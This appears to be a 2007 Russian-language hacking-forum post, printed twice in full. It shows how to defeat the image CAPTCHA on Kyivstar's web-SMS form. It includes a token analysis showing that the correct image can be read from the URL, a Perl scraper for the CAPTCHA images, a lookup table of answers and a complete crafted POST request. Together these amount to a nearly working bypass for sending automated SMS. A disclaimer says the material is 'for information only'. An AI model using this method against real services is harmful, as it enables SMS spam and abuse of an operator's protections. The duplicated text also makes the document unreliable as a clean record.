demonoid
05.08.2007, 04:22
kyivstar CAPTCHA III(полное разоблачение)
Предыстория
2 августа была изменена система защиты( CAPTCHA ).
3 августа , мною был найден баг подробней тут _https://forum.antichat.ru/thread44779.html.
4 августа ошибки уже были исправлены ( оперативно ).
4 августа ( вечером ) изучения "переделанной" capth'и ,были изчерпаными :) .
История изучения
Зайдя на _www.kyivstar.net/sms/ система предложила мне указать "Номер телефону" ,выбрать "Набір символів" и написать "Текст повідомлення".
Открыл сорс начал бегать глазами и нашел интересный момент (указан отредактированный фрагмент кода)
.....
<p class="header">
Для того, щоб надіслати SMS,<br/>
вкажіть 2 картинки живої природи.
image-number="1" ...<img src="22B547867D97629D9627ADCAEE246F22e475e353f082678331"...
image-number="2" ...<img src="A1D42D05FC982AA3E1C053382C9D2229e475e353f082678341"...
...<img src="8A8EC206ACC445084C34B086F01204D8e475e353f082678355"...
....="BE6601BE804C5DCCF633B94C0515E09Ee475e353f082678364"...
....="4A4DF8EC973931AC92B8D7CBA7159B79e475e353f082678337"...
....="2C97C4C704D8B66185188A829CE8E97Ce475e353f082678362"...
....="C30FDBB169DBAFC401D22424B32CF698e475e353f082678335"...
....."DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327"...
....."847B9DF288414004D499840CE1555CDFe475e353f082678342"...
</div>
......
Когда я введу номер и сообщение , система мне скажет укажи 2-е картинки живой природы.
Зайдя по ссылке www.kyivstar.net/_sms/22B547867D97629D9627ADCAEE246F22e475e353f082678331
Система показала мне картину ,это была живая природа! Ай думаю "2 картинки" 1-ну уже нашел пойду вторую найду..
Перебирая нашел вот она "DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327".Позже начал всматриваться во все картинки ( а вернее в их ключ ),
уж больно они похожи были , логически разбил их части , вот что у меня вышло
1_img:"22B547867D97629D9627ADCAEE246F22" "e475e353f0826783" "31" ( живая природа )
2_img:"A1D42D05FC982AA3E1C053382C9D2229" "e475e353f0826783" "41"
3_img:"8A8EC206ACC445084C34B086F01204D8" "e475e353f0826783" "55"
4_img:"BE6601BE804C5DCCF633B94C0515E09E" "e475e353f0826783" "64"
5_img:"4A4DF8EC973931AC92B8D7CBA7159B79" "e475e353f0826783" "37"
6_img:"2C97C4C704D8B66185188A829CE8E97C" "e475e353f0826783" "62"
7_img:"C30FDBB169DBAFC401D22424B32CF698" "e475e353f0826783" "35"
8_img:"DD3E31B6944D54737A851A6C66B8BB17" "e475e353f0826783" "27" ( живая природа )
9_img:"847B9DF288414004D499840CE1555CDF" "e475e353f0826783" "42"
Красиво разбились неправда-ли ? :)
После маленький модификаций ключа ( всего целиком ) , пришел к выводу:
-первый ключ длинной 32 это позиция звёздочки на картинке ( длинна константа )
-следующие цифры ( это константа текущего соединения) ( длина не постоянна )
-последние две цифры , это картинка ("природа" или "не природа")
Как я пришел к выводу , что последние две цифры это картинка ?.
Просто когда я глумился на ключём ( хаотично менял последние цифры ) менялась суть картинки ,
но когда я поменял последние 2 цифры на "01" ( пример ключа: "847B9DF288414004D499840CE1555CDFe475e353f082678301" ) ,
выскочила ошибка:
Warning: imagecreatefromjpeg(/var/www.kyivstar.net/www/i/sms_images/01.jpg) [function.imagecreatefromjpeg]: failed to open stream: No such file or directory in /var/www.kyivstar.net/www/_sms/_image.php on line 12
Warning: imagealphablending(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 14
Warning: imagesx(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 35
Warning: imagesy(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 36
...........
Опа! последние две цифры это картинка , в ошибке это чётко видно - система не может найти фай "01.jpg".
Решил составить свою базу картинок .Но не перебирать же мне руками значения от 0 до 99
Написал скрипт скачки картинок :
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
print "\t\tks_exemple.pl ~ / Kyivstar Image downloader /\n".
"\t\t\tby demonoid 212-905-288\n".
"\t\tspecical for forum.antichat.ru / 04.08.2007 /\n\n";
my $path = "C:/img/";
my $errfile = "error_img.log";
my $gdfile = "good_img.log";
my $img;
open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n";
open(GD_FILE, ">>$path$gdfile") || exit print "[-]Cant open $gdfile\n";
my $ua = LWP::UserAgent -> new;
for(0..99)
{
$img="http://www.kyivstar.net/i/sms_images/$_.jpg";
my $resp=$ua -> get("$img", ':content_file' => "$path$_.jpg");
if( $resp->status_line =~/404/ ) { print ERR_FILE "$_.jpg\n"; }
else { print GD_FILE "$_.jpg\n"; }
}
print "Look file:\n".
"~~~~~~~~~~~\n".
"[-]Not Found image -> $errfile\n".
"[+] Found image -> $gdfile\n";
close ERR_FILE;
close GD_FILE;
Смотрим какие картинки удачно скачаны в "good_img.log" всего там 36 штук.
Теперь глазками визуально смотрим на эти картинки в этой же папке, и одновременно пущем базу "природа"
ПРИРОДА(17) 24,25,26,27,29,30,31,34,48,54,58,59,60,61,65,66,67
НЕПРИРОДА(19) 32,33,35,37,39,41,42,45,46,47,49,50,51,53,55,56,62 ,63,64
Теперь мы можем научить наш скрипт распознавать природу неприроду т.к база уже есть.
Второй интересный момент( отредактированный код ):
.....
<input type="hidden" name="code" id="code_1" value="1186249808" />
<input type="hidden" name="code" id="code_2" value="96342973" />
..... id="code_3" value="FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E1486 0F6BC6D30796DB068725D087616963650BCCB941B74C479590 4E6CCC3F8D63" />
..... id="code_4" value="" />
......id="code_2" value="102984129" />
......id="code_4" value="6B233ABC50FC6E19941920F7C6C50DDC" />
..... id="code_4" value="94D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92" />
......id="code_4" value="BDFB6030FF0BAF0D" />
.......
как я понял это вспомогательные ключи для рандома звёздочки и природы ( глубоко изучать их не будем т.к. они не несут важной информации , мы их просто вставим в пакет )
пример пакета:
POST /_sms/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-icq, */*
Referer: http://www.kyivstar.net/_sms/?lang=ua
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: www.kyivstar.net
Content-Length: 365
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: countSms=0; isUserLogined=false; messageID=20070804193602.08D77B%40messenger; countSms=18; messageID=20070803183306.462EA7%40messenger; isUserLogined=false
submitted=true
&lang=ua
&sms_adv=3
&mobcode=097
&number=XXXXXXX
&lat=1
&message=polo
&code=1186249808
&code=96342973
&code=FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56 E14860F6BC6D30796DB068725D087616963650BCCB941B74C4 795904E6CCC3F8D63
&code=0108
&code=102984129
&code=6B233ABC50FC6E19941920F7C6C50DDC
&code=4D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E 92
&code=BDFB6030FF0BAF0D
всё ясно всё значение code берём из вспомогательных ключей , кроме code=0108 , это как можно было догадаться позиции картинки смотрим выше
1_img:"22B547867D97629D9627ADCAEE246F22" "e475e353f0826783" "31" ( живая природа )
8_img:"DD3E31B6944D54737A851A6C66B8BB17" "e475e353f0826783" "27" ( живая природа )
1-я и 8-я картинка вот и вышло "0108"
Дальше я хотел написать пример отправки сообщения , но понимаю что всё это обратиться в спам :) , поэтому не буду выкладывать примеры ,
и так выложил много пищи для ума.
Важно :
1-Материал исключительно в ознакомительных целях!
2-Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.
Предыстория
2 августа была изменена система защиты( CAPTCHA ).
3 августа , мною был найден баг подробней тут _https://forum.antichat.ru/thread44779.html.
4 августа ошибки уже были исправлены ( оперативно ).
4 августа ( вечером ) изучения "переделанной" capth'и ,были изчерпаными :) .
История изучения
Зайдя на _www.kyivstar.net/sms/ система предложила мне указать "Номер телефону" ,выбрать "Набір символів" и написать "Текст повідомлення".
Открыл сорс начал бегать глазами и нашел интересный момент (указан отредактированный фрагмент кода)
.....
<p class="header">
Для того, щоб надіслати SMS,<br/>
вкажіть 2 картинки живої природи.
image-number="1" ...<img src="22B547867D97629D9627ADCAEE246F22e475e353f082678331"...
image-number="2" ...<img src="A1D42D05FC982AA3E1C053382C9D2229e475e353f082678341"...
...<img src="8A8EC206ACC445084C34B086F01204D8e475e353f082678355"...
....="BE6601BE804C5DCCF633B94C0515E09Ee475e353f082678364"...
....="4A4DF8EC973931AC92B8D7CBA7159B79e475e353f082678337"...
....="2C97C4C704D8B66185188A829CE8E97Ce475e353f082678362"...
....="C30FDBB169DBAFC401D22424B32CF698e475e353f082678335"...
....."DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327"...
....."847B9DF288414004D499840CE1555CDFe475e353f082678342"...
</div>
......
Когда я введу номер и сообщение , система мне скажет укажи 2-е картинки живой природы.
Зайдя по ссылке www.kyivstar.net/_sms/22B547867D97629D9627ADCAEE246F22e475e353f082678331
Система показала мне картину ,это была живая природа! Ай думаю "2 картинки" 1-ну уже нашел пойду вторую найду..
Перебирая нашел вот она "DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327".Позже начал всматриваться во все картинки ( а вернее в их ключ ),
уж больно они похожи были , логически разбил их части , вот что у меня вышло
1_img:"22B547867D97629D9627ADCAEE246F22" "e475e353f0826783" "31" ( живая природа )
2_img:"A1D42D05FC982AA3E1C053382C9D2229" "e475e353f0826783" "41"
3_img:"8A8EC206ACC445084C34B086F01204D8" "e475e353f0826783" "55"
4_img:"BE6601BE804C5DCCF633B94C0515E09E" "e475e353f0826783" "64"
5_img:"4A4DF8EC973931AC92B8D7CBA7159B79" "e475e353f0826783" "37"
6_img:"2C97C4C704D8B66185188A829CE8E97C" "e475e353f0826783" "62"
7_img:"C30FDBB169DBAFC401D22424B32CF698" "e475e353f0826783" "35"
8_img:"DD3E31B6944D54737A851A6C66B8BB17" "e475e353f0826783" "27" ( живая природа )
9_img:"847B9DF288414004D499840CE1555CDF" "e475e353f0826783" "42"
Красиво разбились неправда-ли ? :)
После маленький модификаций ключа ( всего целиком ) , пришел к выводу:
-первый ключ длинной 32 это позиция звёздочки на картинке ( длинна константа )
-следующие цифры ( это константа текущего соединения) ( длина не постоянна )
-последние две цифры , это картинка ("природа" или "не природа")
Как я пришел к выводу , что последние две цифры это картинка ?.
Просто когда я глумился на ключём ( хаотично менял последние цифры ) менялась суть картинки ,
но когда я поменял последние 2 цифры на "01" ( пример ключа: "847B9DF288414004D499840CE1555CDFe475e353f082678301" ) ,
выскочила ошибка:
Warning: imagecreatefromjpeg(/var/www.kyivstar.net/www/i/sms_images/01.jpg) [function.imagecreatefromjpeg]: failed to open stream: No such file or directory in /var/www.kyivstar.net/www/_sms/_image.php on line 12
Warning: imagealphablending(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 14
Warning: imagesx(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 35
Warning: imagesy(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 36
...........
Опа! последние две цифры это картинка , в ошибке это чётко видно - система не может найти фай "01.jpg".
Решил составить свою базу картинок .Но не перебирать же мне руками значения от 0 до 99
Написал скрипт скачки картинок :
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
print "\t\tks_exemple.pl ~ / Kyivstar Image downloader /\n".
"\t\t\tby demonoid 212-905-288\n".
"\t\tspecical for forum.antichat.ru / 04.08.2007 /\n\n";
my $path = "C:/img/";
my $errfile = "error_img.log";
my $gdfile = "good_img.log";
my $img;
open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n";
open(GD_FILE, ">>$path$gdfile") || exit print "[-]Cant open $gdfile\n";
my $ua = LWP::UserAgent -> new;
for(0..99)
{
$img="http://www.kyivstar.net/i/sms_images/$_.jpg";
my $resp=$ua -> get("$img", ':content_file' => "$path$_.jpg");
if( $resp->status_line =~/404/ ) { print ERR_FILE "$_.jpg\n"; }
else { print GD_FILE "$_.jpg\n"; }
}
print "Look file:\n".
"~~~~~~~~~~~\n".
"[-]Not Found image -> $errfile\n".
"[+] Found image -> $gdfile\n";
close ERR_FILE;
close GD_FILE;
Смотрим какие картинки удачно скачаны в "good_img.log" всего там 36 штук.
Теперь глазками визуально смотрим на эти картинки в этой же папке, и одновременно пущем базу "природа"
ПРИРОДА(17) 24,25,26,27,29,30,31,34,48,54,58,59,60,61,65,66,67
НЕПРИРОДА(19) 32,33,35,37,39,41,42,45,46,47,49,50,51,53,55,56,62 ,63,64
Теперь мы можем научить наш скрипт распознавать природу неприроду т.к база уже есть.
Второй интересный момент( отредактированный код ):
.....
<input type="hidden" name="code" id="code_1" value="1186249808" />
<input type="hidden" name="code" id="code_2" value="96342973" />
..... id="code_3" value="FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E1486 0F6BC6D30796DB068725D087616963650BCCB941B74C479590 4E6CCC3F8D63" />
..... id="code_4" value="" />
......id="code_2" value="102984129" />
......id="code_4" value="6B233ABC50FC6E19941920F7C6C50DDC" />
..... id="code_4" value="94D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92" />
......id="code_4" value="BDFB6030FF0BAF0D" />
.......
как я понял это вспомогательные ключи для рандома звёздочки и природы ( глубоко изучать их не будем т.к. они не несут важной информации , мы их просто вставим в пакет )
пример пакета:
POST /_sms/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-icq, */*
Referer: http://www.kyivstar.net/_sms/?lang=ua
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: www.kyivstar.net
Content-Length: 365
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: countSms=0; isUserLogined=false; messageID=20070804193602.08D77B%40messenger; countSms=18; messageID=20070803183306.462EA7%40messenger; isUserLogined=false
submitted=true
&lang=ua
&sms_adv=3
&mobcode=097
&number=XXXXXXX
&lat=1
&message=polo
&code=1186249808
&code=96342973
&code=FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56 E14860F6BC6D30796DB068725D087616963650BCCB941B74C4 795904E6CCC3F8D63
&code=0108
&code=102984129
&code=6B233ABC50FC6E19941920F7C6C50DDC
&code=4D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E 92
&code=BDFB6030FF0BAF0D
всё ясно всё значение code берём из вспомогательных ключей , кроме code=0108 , это как можно было догадаться позиции картинки смотрим выше
1_img:"22B547867D97629D9627ADCAEE246F22" "e475e353f0826783" "31" ( живая природа )
8_img:"DD3E31B6944D54737A851A6C66B8BB17" "e475e353f0826783" "27" ( живая природа )
1-я и 8-я картинка вот и вышло "0108"
Дальше я хотел написать пример отправки сообщения , но понимаю что всё это обратиться в спам :) , поэтому не буду выкладывать примеры ,
и так выложил много пищи для ума.
Важно :
1-Материал исключительно в ознакомительных целях!
2-Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.